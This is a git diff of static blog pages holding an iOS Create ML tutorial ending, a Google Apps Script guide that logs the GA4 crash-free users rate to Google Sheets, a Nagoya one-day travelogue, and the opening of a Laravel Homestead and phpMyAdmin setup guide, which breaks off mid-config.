  1. First, segment the input sentence (I want to know what needs to be prepared for the wedding => I want, to know, wedding, needs, to prepare, what), then see what its classification is and perform a series of machine learning calculations.
  2. Divide the training data into groups, for example: 80% for training and 20% for testing and validation

At this point, most of the work is done. Next, just add the model file to the iOS project and write a few lines of code.

![Drag/drop the model file (.mlmodel) into the project](/assets/793bf2cdda0f/14Uc1elBmhEnQ-J8z_RIQHQ.png)

Drag/drop the model file (*.mlmodel) into the project

Code Part:

1
+2
+3
+4
+5
+6
+7
+
import CoreML
+
+//
+if #available(iOS 12.0, *),let prediction = try? textClassifier().prediction(text: "Text content to predict") {
+    let type = prediction.label
+    print("I think it is...\(type)")
+}
+

Done!

Questions to Explore:

  1. Can it support further learning?
  2. Can the mlmodel model file be converted to other platforms?
  3. Can the model be trained on iOS?

The above three points, based on the information currently available, are not feasible.

Conclusion:

Currently, I am applying it in a practical APP to predict the classification when posting articles.

[Wedding App](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}

Wedding App

I used about 100 pieces of training data, and the current prediction accuracy is about 35%, mainly for experimental purposes.

— — — — —

It’s that simple to complete the first machine learning project in your life; there is still a long way to go to learn how the background works. I hope this project can give everyone some inspiration!

References: WWDC2018 Create ML (Part 2)

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Exploring Vision — Automatic Face Detection and Cropping for Profile Pictures (Swift)

Enhance User Experience by Adding 3D TOUCH to Your iOS APP (Swift)

diff --git a/posts/793cb8f89b72/index.html b/posts/793cb8f89b72/index.html new file mode 100644 index 0000000000..caf9ac62c6 --- /dev/null +++ b/posts/793cb8f89b72/index.html @@ -0,0 +1,191 @@ + Crashlytics + Google Analytics Automatically Query App Crash-Free Users Rate | ZhgChgLi
Home Crashlytics + Google Analytics Automatically Query App Crash-Free Users Rate
Post
Cancel

Crashlytics + Google Analytics Automatically Query App Crash-Free Users Rate

Crashlytics + Google Analytics Automatically Query App Crash-Free Users Rate

Using Google Apps Script to query Crashlytics through Google Analytics and automatically fill it into Google Sheet

In the previous article, “Crashlytics + Big Query to Create a More Real-Time and Convenient Crash Tracking Tool”, we exported Crashlytics crash records as Raw Data to Big Query and used Google Apps Script to automatically schedule queries for the Top 10 Crashes & post messages to the Slack Channel.

This article continues to automate an important metric related to app crashes — Crash-Free Users Rate, the percentage of users not affected by crashes. Many app teams continuously track and record this metric, which was traditionally done manually. The goal here is to automate this repetitive task and avoid potential errors in manual data entry. As mentioned earlier, Firebase Crashlytics does not provide any API for querying, so we need to connect Firebase data to other Google services and then use those service APIs to query the relevant data.

Initially, I thought this data could also be queried from Big Query; however, this approach is entirely wrong because Big Query contains Raw Data of crashes and does not include data of users who did not experience crashes, making it impossible to calculate the Crash-Free Users Rate. There is limited information on this requirement online, and after extensive searching, I found a mention of Google Analytics. I knew that Firebase’s Analytics and Events could be connected to GA for queries, but I did not expect the Crash-Free Users Rate to be included. After reviewing GA’s API, Bingo!

[API Dimensions & Metrics](https://developers.google.com/analytics/devguides/reporting/data/v1/api-schema?hl=en){:target="_blank"}

API Dimensions & Metrics

Google Analytics Data API (GA4) provides two metrics:

  • crashAffectedUsers: The number of users affected by crashes
  • crashFreeUsersRate: The percentage of users not affected by crashes (expressed as a decimal)

Knowing the way forward, we can start implementing it!

Connect Firebase -> Google Analytics

You can refer to the official instructions for setup steps, which are omitted here.

GA4 Query Explorer Tool

Before writing code, we can use the Web GUI Tool provided by the official site to quickly build query conditions and obtain query results. Once the results are as desired, we can start writing code.

Go to »> GA4 Query Explorer

  • Remember to select GA4 in the top left corner.
  • After logging in with your account on the right, choose the corresponding GA Account & Property.

  • Start Date, End Date: You can directly enter the date or use special variables to represent the date (yesterday, today, 30daysAgo, 7daysAgo).

  • metrics: Add crashFreeUsersRate.

  • dimensions: Add platform (device type iOS/Android/Desktop…).

  • dimension filter: Add platform, string, exact, iOS or Android.

Query the Crash Free Users Rate for both platforms separately.

Scroll to the bottom and click “Make Request” to view the results. We can get the Crash-Free Users Rate within the specified date range.

You can go back and open Firebase Crashlytics to compare if the data under the same conditions is the same.

It has been observed that there might be slight differences in numbers between the two (we had a difference of 0.0002 in one number), the reason is unknown, but it is within an acceptable error range. If you consistently use GA Crash-Free Users Rate, it cannot be considered an error.

Using Google Apps Script to Automatically Fill Data into Google Sheet

Next is the automation part. We will use Google Apps Script to query GA Crash-Free Users Rate data and automatically fill it into our Google Sheet, achieving the goal of automatic filling and tracking.

Assume our Google Sheet is as shown above.

You can click Extensions -> Apps Script at the top of Google Sheet to create a Google Apps Script or click here to go to Google Apps Script -> click “New Project” at the top left.

After entering, you can click the unnamed project name at the top to give it a project name.

In the “Services” on the left, click “+” to add “Google Analytics Data API”.

Go back to the GA4 Query Explorer tool, and next to the Make Request button, you can check “Show Request JSON” to get the Request JSON for these conditions.

Convert this Request JSON into Google Apps Script as follows:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+
// Remember to add Google Analytics Data API to Services, or you'll see this error: ReferenceError: AnalyticsData is not defined
+// https://ga-dev-tools.web.app/ga4/query-explorer/ -> property id
+const propertyId = "";
+// https://docs.google.com/spreadsheets/d/googleSheetID/
+const googleSheetID = "";
+// Google Sheet name
+const googleSheetName = "App Crash-Free Users Rate";
+
+function execute() {
+  Logger.log(fetchCrashFreeUsersRate())
+}
+
+function fetchCrashFreeUsersRate(platform = "ios", startDate = "30daysAgo", endDate = "today") {
+  const dimensionPlatform = AnalyticsData.newDimension();
+  dimensionPlatform.name = "platform";
+
+  const metric = AnalyticsData.newMetric();
+  metric.name = "crashFreeUsersRate";
+
+  const dateRange = AnalyticsData.newDateRange();
+  dateRange.startDate = startDate;
+  dateRange.endDate = endDate;
+
+  const filterExpression = AnalyticsData.newFilterExpression();
+  const filter = AnalyticsData.newFilter();
+  filter.fieldName = "platform";
+  const stringFilter = AnalyticsData.newStringFilter()
+  stringFilter.value = platform;
+  stringFilter.matchType = "EXACT";
+  filter.stringFilter = stringFilter;
+  filterExpression.filter = filter;
+
+  const request = AnalyticsData.newRunReportRequest();
+  request.dimensions = [dimensionPlatform];
+  request.metrics = [metric];
+  request.dateRanges = dateRange;
+  request.dimensionFilter = filterExpression;
+
+  const report = AnalyticsData.Properties.runReport(request, "properties/" + propertyId);
+
+  return parseFloat(report.rows[0].metricValues[0].value) * 100;
+}
+

In the initial Property selection menu, the number below the selected Property is the propertyId.

Paste the above code into the Google Apps Script code block on the right & select the “execute” function from the method dropdown at the top. Then click Debug to test if the data can be retrieved correctly:

The first time you run it, an authorization request window will appear:

Follow the steps to complete account authorization.

If the execution is successful, the Crash-Free Users Rate will be printed in the Log below, indicating a successful query.

Next, we just need to add automatic filling into Google Sheets to complete the task!

Complete Code:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+
// Remember to add Google Analytics Data API to Services, or you'll see this error: ReferenceError: AnalyticsData is not defined
+
+// https://ga-dev-tools.web.app/ga4/query-explorer/ -> property id
+const propertyId = "";
+// https://docs.google.com/spreadsheets/d/googleSheetID/
+const googleSheetID = "";
+// Google Sheet name
+const googleSheetName = "";
+
+function execute() {
+  const today = new Date();
+  const daysAgo7 = new Date(new Date().setDate(today.getDate() - 6)); // Today is not counted, so it's -6
+
+  const spreadsheet = SpreadsheetApp.openById(googleSheetID);
+  const sheet = spreadsheet.getSheetByName(googleSheetName);
+  
+  var rows = [];
+  rows[0] = Utilities.formatDate(daysAgo7, "GMT+8", "MM/dd")+"~"+Utilities.formatDate(today, "GMT+8", "MM/dd");
+  rows[1] = fetchCrashFreeUsersRate("ios", Utilities.formatDate(daysAgo7, "GMT+8", "yyyy-MM-dd"), Utilities.formatDate(today, "GMT+8", "yyyy-MM-dd"));
+  rows[2] = fetchCrashFreeUsersRate("android", Utilities.formatDate(daysAgo7, "GMT+8", "yyyy-MM-dd"), Utilities.formatDate(today, "GMT+8", "yyyy-MM-dd"));
+  sheet.appendRow(rows);
+}
+
+function fetchCrashFreeUsersRate(platform = "ios", startDate = "30daysAgo", endDate = "today") {
+  const dimensionPlatform = AnalyticsData.newDimension();
+  dimensionPlatform.name = "platform";
+
+  const metric = AnalyticsData.newMetric();
+  metric.name = "crashFreeUsersRate";
+
+  const dateRange = AnalyticsData.newDateRange();
+  dateRange.startDate = startDate;
+  dateRange.endDate = endDate;
+
+  const filterExpression = AnalyticsData.newFilterExpression();
+  const filter = AnalyticsData.newFilter();
+  filter.fieldName = "platform";
+  const stringFilter = AnalyticsData.newStringFilter()
+  stringFilter.value = platform;
+  stringFilter.matchType = "EXACT";
+  filter.stringFilter = stringFilter;
+  filterExpression.filter = filter;
+
+  const request = AnalyticsData.newRunReportRequest();
+  request.dimensions = [dimensionPlatform];
+  request.metrics = [metric];
+  request.dateRanges = dateRange;
+  request.dimensionFilter = filterExpression;
+
+  const report = AnalyticsData.Properties.runReport(request, "properties/" + propertyId);
+
+  return parseFloat(report.rows[0].metricValues[0].value) * 100;
+}
+

Click “Run or Debug” above to execute “execute”.

Go back to Google Sheet, data added successfully!

Add Trigger to Schedule Automatic Execution

Select the clock button on the left -> Bottom right “+ Add Trigger”.

  • For the first function, select “execute”
  • For time-based trigger, you can choose week timer to track & add data once a week

Click Save after setting.

Done

From now on, recording and tracking App Crash-Free Users Rate data is fully automated; no manual query & input needed; everything is handled automatically by the machine!

We only need to focus on solving App Crash issues!

p.s. Unlike the previous article using Big Query which costs money to query data, querying Crash-Free Users Rate and using Google Apps Script in this article are completely free, so feel free to use them.

If you want to sync the results to a Slack Channel, refer to the previous article:

Further Reading

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

The Past and Present of iOS Privacy and Convenience

Record of Practical Application of Design Patterns

diff --git a/posts/7b8a0563c157/index.html b/posts/7b8a0563c157/index.html new file mode 100644 index 0000000000..a6ca4ddb92 --- /dev/null +++ b/posts/7b8a0563c157/index.html @@ -0,0 +1 @@ + Travelogue 9/11 Nagoya One-Day Flash Free Travel | ZhgChgLi
Home Travelogue 9/11 Nagoya One-Day Flash Free Travel
Post
Cancel

Travelogue 9/11 Nagoya One-Day Flash Free Travel

[Travelogue] 9/11 Nagoya One-Day Flash Free Travel

Peach Aviation Nagoya One-Day Flash Ticket Travel Experience

Background

A round-trip ticket for a day trip to Nagoya is an activity launched by Peach Aviation:

I bought a round-trip ticket to Nagoya with airport service fee included for $5,600 at that time, no checked baggage, no meals, no assigned seats; both flights were red-eye flights:

  • Outbound: TPE 02:25 -> NGO 06:30
  • Return: NGO 23:15 -> TPE 01:25

According to official promotional materials, the longest stay is 16 hours and 45 minutes!

Carry-on baggage regulations: Two pieces per person & total weight less than 7 kilograms

Carry-on baggage regulations

Carry-on baggage regulations

Date: 2023/09/11, Solo trip

Visit Japan

To speed up entry, I filled out the entry information in advance and completed the entry procedures directly using a QR code:

  • I filled in a 1-day stay here, and for the contact information in Japan, I directly filled in the information for Chubu Centrair International Airport, without being asked, and passed through safely!

Chubu Centrair International Airport Information

Chubu Centrair International Airport Information

KKday Promotion

Conclusion (written at the beginning)

A one-day flash is a test of physical and mental endurance; I originally planned to wait at the airport or sleep on the plane, but I wasn’t sleepy because the waiting time at the airport was too early. After boarding the plane, the seat was too small, not by the window, the engine noise was very loud, and I didn’t really fall asleep, so it was like not sleeping all night; I started the Nagoya itinerary at 6:00 after getting off the plane; I was so tired that I slept for over half an hour in a quiet cafe at Nagoya Tower at noon (quiet, not many people).

Time and attractions are limited, so I couldn’t go too far.

In addition to the body’s energy, the phone’s battery is also a big test; I brought a 20,000 mAh Xiaomi power bank to complete the entire itinerary (probably charged the iPhone 13 back and forth 4–5 times).

I returned to Taiwan around 2–3 am, with no public transportation, so I had to take a taxi back to Taipei.

You can pay a few hundred more to choose a window seat, prepare a neck pillow, and earplugs for better sleep.

Departure

9/10 PM 22:03 — Arrive at Taoyuan Airport MRT A1 Taipei Main Station, take the 22:15 direct train to Terminal 1

9/10 PM 10:55 — Arrive at Terminal 1 Departure Hall

Arrived too early, the check-in counter opened at 23:55 (although I didn’t have checked baggage, I couldn’t check in online for some reason, so I had to wait for the counter to open).

Still an hour before check-in opened, so I went back to the B1 food street to find a place to rest; all the shops in the food street were closed at 11 PM (including convenience stores), couldn’t find anything to eat.

9/11 AM 00:09 — Completed departure

The check-in counter opened early, I returned to the departure hall at 11:40 and saw that check-in had started; without checked baggage, just carrying a backpack, quickly completed check-in & security check & departure.

Starting from 9/11, officially counting down 24 hours!

9/11 AM 00:12 — Wandering in Terminal 1

It’s worth mentioning that there is a free lounge in Terminal 1, just follow the signs to the VIP lounge; the environment and seats are similar to a cafe, there is even a shower room (open from 6 AM to 10 PM); for more details, refer to this article.

It’s actually better to sleep in the lounge area because you can lie down… But at that time, I just took a quick look and started looking for a place to buy food at the airport (because there was no in-flight meal), but it was late and everything was closed, I only found a vending machine selling cookies, so I bought a pack of Yimei cream puffs and a can of tea.

9/11 AM 00:45 — Waiting at the boarding gate

Arrived really early, not many people in the boarding gate area; the chairs are in pairs, making it difficult to lie down and sleep (very uncomfortable, I got up after taking the photo), sleeping with your head up is also uncomfortable, and the boarding gate area is very cold; but at that time, I was still feeling okay, not sleepy, as time passed, more people arrived, it got noisier, making it even harder to sleep; so I just closed my eyes to rest and conserve energy, reviewed some basic Japanese (hiragana), planning to sleep on the plane later.

9/11 AM 02:14 — Completed boarding

The flight was slightly delayed, boarding was supposed to start at 01:55, delayed by 10 minutes; I completed boarding at 02:15.

9/11 AM 02:26 — Flight takeoff

The seat was very small, no headrest by the aisle, luckily I had a neck pillow for some support, but the noise of the engines and neck discomfort made it almost impossible to sleep, so I endured the bumpy ride all the way to Nagoya; there was no screen displaying the flight distance on the plane, making the time feel very long.

If I had to choose again, I would pay a little extra for a window seat; one, there’s a better place to rest your head, and two, you can see the sunrise from the window when arriving in Japan in the morning!!

9/11 AM 06:20 — Arrived at Chubu Centrair International Airport, Nagoya

9/11 AM 06:35 — Completed immigration

Perhaps due to the early morning and no need to pick up luggage, it took less than 15 minutes from landing to immigration; but the weather wasn’t great, it was raining heavily in Nagoya.

9/11 AM 7:03 — Waiting for the shuttle to Nagoya city

One image shows seating information and the other shows entry/exit ticket (for the machine)

One image shows seating information and the other shows entry/exit ticket (for the machine).

[_KKday Chubu Centrair International Airport NGO ⇆ Nagoya StationMeitetsu Airport Express Train e-Ticket_](https://www.kkday.com/zh-tw/product/20418-chubu-centrair-international-airport-express-train-transfer-to-nagoya?cid=19365&ud1=9da2c51fa4f2){:target=”_blank”}

I first bought a one-way train ticket from Chubu Centrair International Airport to Nagoya + uSky train ($271) online, thinking since I’m here, might as well experience the newest and best train; assigned seats, very stable and comfortable, and it’s an express train.

However, if you want to save money and convenience, you can actually buy tickets on-site or take a regular train directly to the station; attach the train schedule and stops, or directly search from Meitetsu website:

1st Destination: Konparu Osu コンパル Main Store - Try the Fried Shrimp Toast

You need to get off at Kanayama (NH34) and transfer to “Meijo Line” to go to Kamiiida Station.

Arrive at Konparu Osu コンパル Main Store at 8:00 AM on 9/11

The store opens at 8:00, but there were no people around early in the morning, and the nearby Osu shopping street was not open yet.

Coffee is a must, especially after staying up all night; the shrimp in the fried shrimp toast is cut into pieces, giving a chewy texture.

2nd Destination: Nagoya Castle

Nagoya Castle opens at 9:00, other attractions don’t open that early, and it’s on the way from Kamiiida Station, so I decided to visit Nagoya Castle first.

Arrive at Nagoya Castle at 9:02 AM on 9/11

After having breakfast, I arrived at Nagoya Castle Station around 9:02.

Upon exiting the station, I found it was raining heavily outside, and I didn’t expect rain in Japan, so I didn’t bring an umbrella; there were no convenience stores nearby, but I finally found a FamilyMart in the underground street at Nagoya Castle Station B1, bought an umbrella, and continued to Nagoya Castle.

As I entered Nagoya Castle, the rain eased a bit, but the main keep was under maintenance and not open to visitors, so I only visited the splendid Honmaru Palace next to it.

Honmaru Palace

To enter the Honmaru Palace, you need to take off your shoes and store your bag (free, but you need a ¥100 coin).

2nd Destination: Chubu Electric Power MIRAI TOWER (formerly Nagoya TV Tower)

Located at the lower right corner of Nagoya Castle, about 2 stops away; I took a bus after leaving Nagoya Castle.

Arrive at Chubu Electric Power MIRAI TOWER (formerly Nagoya TV Tower) at 10:08 AM on 9/11

The weather was cloudy with occasional sunshine when I arrived, then it cleared up, and it became cloudy again when I left.

After buying a ticket, you can go up to the observation deck to overlook Nagoya City (if you only want to visit the middle-level café, no ticket is needed, and you can still enjoy some views).

Café view, feeling sleepy around 10:30; slept here until after 11, lots of seats, few people, quiet… perfect for a nap.

3rd destination: Oasis 21

Oasis 21 is just outside Nagoya Tower, but not much to see due to rain + weekday + morning, so just took a quick look around and left.

4th destination: Yabaton Yabacho Main Store

Approaching noon, wanted to try Nagoya’s famous miso pork cutlet, the store is about one or two stops away from Nagoya Tower, decided to walk there.

5th destination: Osukannon Shopping Street

Arrived to find a long line due to the crowd… time was precious, since near Osu Shopping Street, continued walking there to find food.

9/11 PM 12:09 — Arrived at Osukannon Shopping Street

Walking towards Osu Kannon, just before Osu Kannon there is another branch of Shichijo, went in for a meal.

Mindlessly ordered a set meal, realized I ordered wrong, mainly wanted to eat the miso pork cutlet in the top left corner, set meal includes miso pork cutlet + fried willow leaf fish + tsukemono + side dish + soup + rice; miso pork cutlet was delicious but not enough!

6th destination: Osu Kannon

This store is right next to Osu Kannon.

9/11 PM 13:05— Arrived at Osu Kannon

Main hall under maintenance, just walked around outside and left.

Beware of birds, many pigeons outside, can buy feed to feed the pigeons.

7th destination: Atsuta Shrine

Walked through Osu Shopping Street again, headed back to Meijo Line, towards Atsuta Shrine.

Bought a Benten fruit daifuku to eat on the way, thin and tender skin, plenty of fresh fruit juice, bought two at once! (I think it’s tastier than Rokkakudo XD)

Went to a drugstore in the shopping street and bought some medicines that can be taken on the plane to bring back to Taiwan.

9/11 PM 13:35 — Arrived at Atsuta Shrine

Exiting Atsuta Shrine Station on the Meijo Line, still a bit of a walk to reach the main gate of Atsuta Shrine for worship.

After a simple worship, bought some amulets and left.

8th destination: Meitetsu Nagoya Shopping Street

The last point is to visit Meitetsu (actually very tired when arriving here).

9/11 PM 14:40 — Arrive at Meitetsu Nagoya

After a stroll in the underground street, head towards JR GATE TOWER, go up to the Starbucks on the 15th floor where you can enjoy a free view.

Because the outdoor seats were not open due to rain, and the indoor seats were full, I didn’t buy a cup of coffee to sit and rest while enjoying the view; took some photos and then started heading downstairs to Takashimaya Department Store, where there is a Harbs but requires queuing.

Across the street, there is a Sky Promenade in Nagoya, a new observation deck, but I didn’t go because I was tired, needed to buy another ticket, and the weather was not good; by the time I checked if I could still go and the points of interest I was interested in were gone; in the end, I just continued strolling down to the underground street to buy some souvenirs (Frog Hometown); bought a one-way ticket from Nagoya Railway to Chubu Centrair International Airport + uSky train ($271) and returned to the airport.

It was a bit of a shame that it wasn’t even 5:00 PM yet… but going to other attractions again would be too far… and I wanted to avoid the crowd during rush hour.

9th destination: Wander around Chubu Centrair International Airport in Nagoya

Took a photo of the real uSky.

9/11 PM 16:44 — Arrive at Chubu Centrair International Airport Terminal 1

The flight is not until 23:15, still a long time to go.

First, try the famous Tebasaki in Nagoya.

There are many things to see at NGO Airport, besides food and drinks inside, there is also a large observation deck where you can see planes take off and land up close! (Terminal 1)

Or go to Terminal 2 first to see the free aircraft museum (it was closed when I went).

There is also a Lawson and a capsule toy store here (but they also have operating hours).

9/11 PM 19:30 — Dinner at Chubu Centrair International Airport Terminal 1

Had dinner at the airport’s Nagoya Udon, Nagoya’s specialty noodles are flat.

The taste was good, but accidentally ordered two main dishes… their tonkatsu was tonkatsu rice XD

After eating, continue waiting for the flight… waiting for the counter to open (opens at 20:45).

9/11 PM 20:45 — Departure procedures at Chubu Centrair International Airport Terminal 1

Glanced at the clock in the corner and went to queue for departure preparation around 20:00; the carry-on baggage check by the airline is quite strict, the rule is two pieces weighing less than 7 kilograms each, no turning a blind eye; saw someone simply going to buy a PS5 and come back, seemed like a good choice for a one-day flash target.

9/11 PM 21:45 — Duty-free shopping and waiting at Chubu Centrair International Airport Terminal 1

I only have one bag, so I can carry another one. I happened to buy a bottle of Tanjirou 750 ml back to Taiwan. (5,700 yen, 100 yen more expensive than Tokyo)

Coca-Cola is delicious. If you see it in a supermarket or vending machine, you can buy it and try it out. It is a collaboration between Suntory and Pepsi, not available in Taiwan. It is made like draft beer but as a cola, very fizzy, not too syrupy. I usually end up pouring out regular cola because it’s too sweet, but I can finish a Coca-Cola Life!

Back at the United Airlines carry-on baggage check, they strictly check if you only have two items. If not, they will ask you to either make it two items on the spot or pay extra.

9/12 AM 00:09 — Departure from Central International Airport Terminal 1

Due to flight delay, originally scheduled for 23:15, delayed to 23:50; took off around 00:15.

But luckily got a window seat, can have a good sleep.

Studied the onboard facilities after waking up, only then did I realize that flight information, entertainment videos can be viewed by connecting to onboard WiFi with a phone, and ordering can also be done directly with a phone.

Someone ordered something similar to spare ribs chicken noodles to eat, the whole cabin was filled with a delicious smell, very tempting.

9/12 AM 02:25 — Arrived at Taoyuan International Airport

Fortunately, got some rest on the plane due to the window seat; feeling okay.

9/12 AM 03:30 Arrived at the warm Taipei residence

Have to say that transportation in Taiwan is very inconvenient. Taking a red-eye flight to Taoyuan Airport, can only take a scary flat-rate taxi or expensive Uber back to Taipei; if you want to take public transportation, you can only wait for the 4-5 am shuttle.

Purpose of this trip: To visit Nagoya Castle, one of the three famous cities:

Later found out that there is also Inuyama Castle in Nagoya, if rearranged, should go to Inuyama Castle first, and didn’t get to eat eel rice!

KKday Promotion

More Travelogues

If you have any questions or suggestions, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

POC App End-to-End Testing Local Snapshot API Mock Server

Travelogue 2023 Kyushu 10-Day Solo Trip

diff --git a/posts/87090f101b9a/index.html b/posts/87090f101b9a/index.html new file mode 100644 index 0000000000..6ea6ca459a --- /dev/null +++ b/posts/87090f101b9a/index.html @@ -0,0 +1,449 @@ + Reinstallation Note 1 - Laravel Homestead + phpMyAdmin Environment Setup | ZhgChgLi
Home Reinstallation Note 1 - Laravel Homestead + phpMyAdmin Environment Setup
Post
Cancel

Reinstallation Note 1 - Laravel Homestead + phpMyAdmin Environment Setup

[Reinstallation Note 1] - Laravel Homestead + phpMyAdmin Environment Setup

Setting up a Laravel development environment from scratch and managing MySQL databases with phpMyAdmin GUI

[Laravel](https://laravel.com/){:target="_blank"}

Laravel

Recently reset my Mac, recording the steps to restore the Laravel development environment.

Environment Requirements

  • Vagrant: Virtual environment configuration tool
  • VirtualBox: Free virtual machine software. If you have purchased Parallels, you can also use Parallels (but you need to install the plug-in)

After downloading and installing these two software, proceed to the next step of configuration.

During VirtualBox installation, you will be required to restart and go to “Settings” -> “Security & Privacy” -> “Allow VirtualBox” to enable all services.

Configure Homestead Environment

1
+2
+3
+4
+
git clone https://github.com/laravel/homestead.git ~/Homestead
+cd ~/Homestead
+git checkout release
+bash init.sh
+

phpMyAdmin

phpMyAdmin is a PHP-based web-based MySQL database management tool that allows administrators to manage MySQL databases through a web interface. This web interface provides a simpler way to input complex SQL syntax, especially for handling large data imports and exports. — Wiki

Download the latest version from the phpMyAdmin official website.

Unzip the .zip -> Folder -> Rename the folder to “phpMyAdmin”:

Move the phpMyAdmin folder to the ~/Homestead folder:

phpMyAdmin Configuration

In the phpMyAdmin folder, find config.sample.inc.php, rename it to config.inc.php, and open it with an editor to modify the settings as follows:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+
<?php
+/* vim: set expandtab sw=4 ts=4 sts=4: */
+/**
+ * phpMyAdmin sample configuration, you can use it as base for
+ * manual configuration. For easier setup you can use setup/
+ *
+ * All directives are explained in documentation in the doc/ folder
+ * or at <https://docs.phpmyadmin.net/>.
+ *
+ * @package PhpMyAdmin
+ */
+declare(strict_types=1);
+
+/**
+ * This is needed for cookie based authentication to encrypt password in
+ * cookie. Needs to be 32 chars long.
+ */
+$cfg['blowfish_secret'] = ''; /* YOU MUST FILL IN THIS FOR COOKIE AUTH! */
+
+/**
+ * Servers configuration
+ */
+$i = 0;
+
+/**
+ * First server
+ */
+$i++;
+/* Authentication type */
+$cfg['Servers'][$i]['auth_type'] = 'config';
+/* Server parameters */
+$cfg['Servers'][$i]['host'] = 'localhost';
+$cfg['Servers'][$i]['user'] = 'homestead';
+$cfg['Servers'][$i]['password'] = 'secret';
+$cfg['Servers'][$i]['compress'] = false;
+$cfg['Servers'][$i]['AllowNoPassword'] = false;
+
+/**
+ * phpMyAdmin configuration storage settings.
+ */
+
+/* User used to manipulate with storage */
+// $cfg['Servers'][$i]['controlhost'] = '';
+// $cfg['Servers'][$i]['controlport'] = '';
+// $cfg['Servers'][$i]['controluser'] = 'pma';
+// $cfg['Servers'][$i]['controlpass'] = 'pmapass';
+
+/* Storage database and tables */
+// $cfg['Servers'][$i]['pmadb'] = 'phpmyadmin';
+// $cfg['Servers'][$i]['bookmarktable'] = 'pma__bookmark';
+// $cfg['Servers'][$i]['relation'] = 'pma__relation';
+// $cfg['Servers'][$i]['table_info'] = 'pma__table_info';
+// $cfg['Servers'][$i]['table_coords'] = 'pma__table_coords';
+// $cfg['Servers'][$i]['pdf_pages'] = 'pma__pdf_pages';
+// $cfg['Servers'][$i]['column_info'] = 'pma__column_info';
+// $cfg['Servers'][$i]['history'] = 'pma__history';
+// $cfg['Servers'][$i]['table_uiprefs'] = 'pma__table_uiprefs';
+// $cfg['Servers'][$i]['tracking'] = 'pma__tracking';
+// $cfg['Servers'][$i]['userconfig'] = 'pma__userconfig';
+// $cfg['Servers'][$i]['recent'] = 'pma__recent';
+// $cfg['Servers'][$i]['favorite'] = 'pma__favorite';
+// $cfg['Servers'][$i]['users'] = 'pma__users';
+// $cfg['Servers'][$i]['usergroups'] = 'pma__usergroups';
+// $cfg['Servers'][$i]['navigationhiding'] = 'pma__navigationhiding';
+// $cfg['Servers'][$i]['savedsearches'] = 'pma__savedsearches';
+// $cfg['Servers'][$i]['central_columns'] = 'pma__central_columns';
+// $cfg['Servers'][$i]['designer_settings'] = 'pma__designer_settings';
+// $cfg['Servers'][$i]['export_templates'] = 'pma__export_templates';
+
+/**
+ * End of servers configuration
+ */
+
+/**
+ * Directories for saving/loading files from server
+ */
+$cfg['UploadDir'] = '';
+$cfg['SaveDir'] = '';
+
+/**
+ * Whether to display icons or text or both icons and text in table row
+ * action segment. Value can be either of 'icons', 'text' or 'both'.
+ * default = 'both'
+ */
+//$cfg['RowActionType'] = 'icons';
+
+/**
+ * Defines whether a user should be displayed a "show all (records)"
+ * button in browse mode or not.
+ * default = false
+ */
+//$cfg['ShowAll'] = true;
+
+/**
+ * Number of rows displayed when browsing a result set. If the result
+ * set contains more rows, "Previous" and "Next".
+ * Possible values: 25, 50, 100, 250, 500
+ * default = 25
+ */
+//$cfg['MaxRows'] = 50;
+
+/**
+ * Disallow editing of binary fields
+ * valid values are:
+ *   false    allow editing
+ *   'blob'   allow editing except for BLOB fields
+ *   'noblob' disallow editing except for BLOB fields
+ *   'all'    disallow editing
+ * default = 'blob'
+ */
+//$cfg['ProtectBinary'] = false;
+
+/**
+ * Default language to use, if not browser-defined or user-defined
+ * (you find all languages in the locale folder)
+ * uncomment the desired line:
+ * default = 'en'
+ */
+//$cfg['DefaultLang'] = 'en';
+//$cfg['DefaultLang'] = 'de';
+
+/**
+ * How many columns should be used for table display of a database?
+ * (a value larger than 1 results in some information being hidden)
+ * default = 1
+ */
+//$cfg['PropertiesNumColumns'] = 2;
+
+/**
+ * Set to true if you want DB-based query history.If false, this utilizes
+ * JS-routines to display query history (lost by window close)
+ *
+ * This requires configuration storage enabled, see above.
+ * default = false
+ */
+//$cfg['QueryHistoryDB'] = true;
+
+/**
+ * When using DB-based query history, how many entries should be kept?
+ * default = 25
+ */
+//$cfg['QueryHistoryMax'] = 100;
+
+/**
+ * Whether or not to query the user before sending the error report to
+ * the phpMyAdmin team when a JavaScript error occurs
+ *
+ * Available options
+ * ('ask' | 'always' | 'never')
+ * default = 'ask'
+ */
+//$cfg['SendErrorReports'] = 'always';
+
+/**
